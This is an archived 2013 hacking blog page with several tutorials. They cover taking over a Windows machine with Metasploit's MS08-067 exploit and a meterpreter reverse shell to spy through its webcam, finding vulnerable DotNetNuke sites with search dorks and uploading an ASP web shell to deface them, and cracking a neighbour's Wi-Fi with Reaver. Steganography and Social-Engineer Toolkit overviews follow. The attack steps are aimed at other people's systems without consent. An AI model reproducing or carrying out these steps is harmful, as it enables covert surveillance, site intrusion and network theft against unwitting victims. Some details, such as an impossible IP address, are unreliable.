Computer Expert Hackers: October 2013

How To Hack Webcam Using Metasploit ( Backtrack / Kali Linux )

By: R3dRyD3r on 12:38 PM

HOW TO HACK WEBCAM USING METAPLOIT

Hello Guys Today We will show you how to hack a webcam using metasploit which is very easy. you can use metaploit in any good linux kernel based os, today i will use backtrack 5r3 for this tutorial below are the requirements you will need for this tutorial :

REQUIREMENTS

1) Backtrack 5r3 or Kali Linux if you don't have download backtrack 5r3 from below :

BACKTRACK 5R3 32 BIT

BACKTRACK 5R3 64 BIT

2) Metasploit, you will need this which is important actually it's pre-installed in backtrack but some of you don't have it in your backtrack so you can download them from here

METASPLOIT 32 BIT LINUX

METASPLOIT 64 BIT LINUX

Ok so now let's begin,

Open terminal and type:

msfconsole

Next set our exploit:

use exploit/windows/smb/ms08_067_netapi

Set payload and use meterpreter

set PAYLOAD windows/meterpreter/reverse_tcp

Set RHOST (target ip)

set RHOST (your target adress)

e.g set RHOST 192.258.24.1

Set LHOST (us)

set LHOST 192.155.0.150

Now type:

exploit

now show what webcam use:

webcam_list

e.g he use Logitech webcam C160

webcam_snap

Show time

run webcam -p /var/www
starting webcam...

Open Your Browser and Go To :

http://localhost/webcam.htm

Click to Like Our Facebook Page

If You Have any Question or Problem Simply Just Comment Below Or :

Follow Us On Facebook

Follow Us On Youtube

Follow Us On Twitter

Hack Websites Using DNN (DotNetNuke) Method!!

By: R3dRyD3r on 5:56 PM

What is DNN (Dot Net Nuke) ?

DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.

Now Let's Hack a Website Using DNN Exploit...!!!

DNN Exploitation

1- First go to google.com search page and use this following dork to find vulnerable site.

Dork : inurl:home/tabid/36/language/en-US/Default.aspx

another dorks you can use

inurl:fcklinkgallery.aspx
inurl:/portals/0

2- find a vulnerable site and delete everything after http://www.yourvulnerablesite.com/ and paste this :
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

it will look something like this

3-Now there are 2 possibilities

if u get Link Gallery url select then site is not vulnerable , see the image below

and If you get Like shown in below image then target is vulnerable

4- ok now if u find a vulnerable site move to next step

5-now u can see 3 options there and we need to select “File in your site”.

6- now after selecting it we need to use a javascript code. For that we need to use that browser which supports javascript. So i will use Opera Mini
we need to choose file location as root

clear everything written on browser url and paste the below javascript

j a v a s c r i p t:__doPostBack('ctlURL$cmdUpload','')

{ remove spaces between " j a v a s c r i p t" word }

7- now as u can see in the picture below, we will get the option to upload file

8- U CANT UPLOAD UR SHELL DIRECTLY IN .php FORMAT AND NOT EVEN U CAN DO ANYTHING BY UPLOADING TO .php;.jpg

9- so for this purpose we need to upload special type of shell which is coded in asp. Download the shell link below:-

CLICK HERE

FOR MORE ASP SHELLS goto www.sh3ll.org

10- after downloading u need to upload the shell in the same extension. dont change the extension and now upload it

11- after uploading u can access ur shell by going to this address
http://www.yoursite.com/portals/0/yoursh...e.asp;.jpg

12- now u can see same as in the image below

13- now click <DIR> ... till u find admin

14- now u can edit and can rape the site.

Thanx To Sam for This Tutorial

If You Have any Question or Problem Simply Just Comment Below Or :

Follow Us On Facebook

Follow Us On Youtube

Follow Us On Twitter

How To Crack WPA/WPA2 Passwords ( Backtrack / Kali Linux )

By: R3dRyD3r on 5:53 PM

CRACK WPA/WPA2 PASSWORDS IN BACKTRACK

Using Backtrack 5r3 you can hack someone else WiFi easily,and use Internet for Free!!!...
Today i Will Use a Program Called " Reaver " I will Teach You To Install it in your backtrack in the tutorial.

All The Programs and softwares You Will Need in This Tutorial You Can Find at the End of This article.

What will You need ?

1 -A compatible wireless adapter : A wireless adapter that's capable of packet injection, and there are some chances that the one in your computer is not.Check Before Hack.

2 -BackTrack 5 - Installed or Live DVD,Both will work.

3 -A WiFi HotSpot nearby,so that you can get at-least 20% signal,That is the minimal requirement for launching WiFi hacking apps.

4 -Brains And Patience.

Step 1 : Install Reaver

First Connect to a wifi you have access to,then Enter these commands in the terminal :

apt-get update
apt-get install reaver

Step 2 : Gather Your Device Information

First,Diconnect to the already connected wifi,not necessary,but its good to do it.In order to use Reaver, you need to get your wireless card's interface name, the BSSID of the router you're attempting to crack, and you need to make sure your wireless card is in monitor mode. So let's do all that by these command :

iwconfig

Step 3 - Put your wireless card into monitor mode

Assuming your wireless card's interface name is wlan0, execute the following command to put your wireless card into monitor mode Type This Command :

airmon-ng start wlan0

This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be mon0, and it will activate the monitor mode.

Step 4 -Find the BSSID of the router you want to crack

Now you need to get the BSSID of the router you're attempting to crack,so that you can point Reaver in the right direction. To do this, execute the following command:

airodump-ng wlan0

Step 5 - Select The Victim's WiFi To Attack

The Above Command in Step 4 will display a list of wireless networks available near you,select the one you are interested in.

Step 6 -Let The Cracking Begin

Now execute the following command in the Terminal, replacing bssid and moninterface with the BSSID and monitor interface and you noted before:

reaver -i moninterface -b bssid -vv

For example, if your monitor interface was mon1 like mine, and your BSSID was 8D:AE:9G:28:8F:E2 your command would look like: reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv

Step 7 - Use The Patience Part

Press enter and set the hell done,now the reaver will work to brute force the crap outta their network,For me it usually tooks about 3-4 hours,but it may vary for you.

Step 8 - The Result

When The reaver has finished,try to find the line saying "key cracked in ---- seconds" and below that you have WPA PSK,which is your password,Now use that to log in to that network,and happy browsing :).

Note : Reaver does NOT work on DD-WRT firmwares,so you better ask their password if you need to use their WiFi.

Softwares You Need in This Tutorial :

Backtrack 5R3 32 BIT

Backtrack 5R3 64 BIT

Click to Like Our Facebook Page

If You Have any Question or Problem Simply Just Comment Below Or :

Follow Us On Youtube

Follow Us On Twitter

What is Steganography ( Detailed Tutorial )

By: R3dRyD3r on 2:36 PM

STEGANOGRAPHY ( THE ART OF HIDING MESSAGES )

Steganography is the dark cousin of cryptography, the use of codes. While cryptography provides privacy, steganography is intended to provide secrecy. Privacy is what you need when you use your credit card on the Internet -- you don't want your number revealed to the public. For this, you use cryptography, and send a coded pile of gibberish that only the web site can decipher. Though your code may be unbreakable, any hacker can look and see you've sent a message. For true secrecy, you don't want anyone to know you're sending a message at all.

Early steganography was messy. Before phones, before mail, before horses, messages were sent on foot. If you wanted to hide a message, you had two choices: have the messenger memorize it, or hide it on the messenger. In fact, the Chinese wrote messages on silk and encased them in balls of wax. The wax ball, "la wan," could then be hidden in the messenger.

A TUTORIAL ON HIDING A TEXT FILE BEHIND AN IMAGE( STEGANOGRAPHY )

Download S-Tool Software,
Open the S- Tool

Prepare the Secret file.

Drag and Drop the Image. The image should be in BMP

Now, Drag and drop the Secret file over the image, and give the password

As you will select the password and do ok S-tool will create an identical image.

Duplicate image containing secret file save the image by right clicking.

How to Un hide Text file behind image

Drag and drop the Hidden image in the Software, and right click on the image and select the Reveal option.

Now enter the same Password which earlier has been selected during the hidden image.

Now you can find the hidden text file.

We Hope You Learned All the Basics of Steganography From This Article and Tutorial Provided By Computer Experts...!!!

If You Have any Question or Problem Simply Just Comment Below Or :

Follow Us On Facebook

Follow Us On Youtube

Follow Us On Twitter

Social Engineering Toolkit ( Backtrack / Kali Linux )

By: R3dRyD3r on 3:36 PM

Social Engineering Toolkit

The Social-Engineer Toolkit (SET) is specifically designed to perform advanced attacks against the human element. Originally this tool was designed to be released with the http://www.social-engineer.org launch and has quickly become a standard tool in a penetration tester’s arsenal. SET was written by David Kennedy (ReL1K) and with a lot of help from the community in incorporating attacks never before seen in an exploitation toolset. The attacks built into the toolkit are designed to be targeted a focused attacks against a person or organization used during a penetration test.

Features of SET

Spear Phishing Attack vector
Website Attack Vector
Infectious media generator
Create a Payload and Listener
Mass Mail Attack
Teensy USB HID Attack vector
SMS Spoofing Attack Vector
Wireless Access Point Attack Point
Third Party Modules

How to Use Social Engineering Toolkit in Backtrack 5

Open your backtrack console & Type cd /pentest/exploits/set

Now type ./set

Spear-Phishing Attack Vector: The spear-phishing attack menu is used for performing targeted email attacks against a victim. You can send multiple emails based on what your harvested or you can send it to individuals. You can also utilize fileformat (for example a PDF bug) and send the malicious attack to the victim in order to hopefully compromise the system.

Website Attack vector: The web attack vector is used by performing phishing attacks against the victim in hopes they click the link. There is a wide-variety of attacks that can occur once they click. We will dive into each one of the attacks later on.

Infectious Media Generator: The infectious USB/DVD creator will develop a Metasploit based payload for you and craft an autorun.inf file that once burned or placed on a USB will trigger an autorun feature and hopefully compromise the system. This attack vector is relatively simple in nature and relies on deploying the devices to the physical system.

Create a payload and ListEner: The create payload and listener is an extremely simple wrapper around Metasploit to create a payload, export the exe for you and generate a listener. You would need to transfer the exe onto the victim machine and execute it in order for it to properly work.

Mass mailer Attack: The mass mailer attack will allow you to send multiple emails to victims and customize the messages. This option does not allow you to create payloads, so it is generally used to perform a mass phishing attack.

Teensy USB HID Attack vector: The teensy USB HID attack is a method used by purchasing a hardware based device from prjc.com and programming it in a manner that makes the small USB microcontroller to look and feel exactly like a keyboard.

SMS Spoofing Attack Vector: This module allows you to specially craft SMS messages and send them to a person. You can spoof the SMS source.

Wireless Access Point Attack Vector: it Can be used to set up a rouge wireless access point, Spoof DNS and redirect all traffic to attacker.

Third Party Modules: This attack vector consists of Third party module – RATTE (Remote Administration Tool Tommy Edition) which is a HTTP tunneling payload. This can be used in the same way as website attack vectors but with an added advantage of beating security mechanisms like local Firewall and IPS.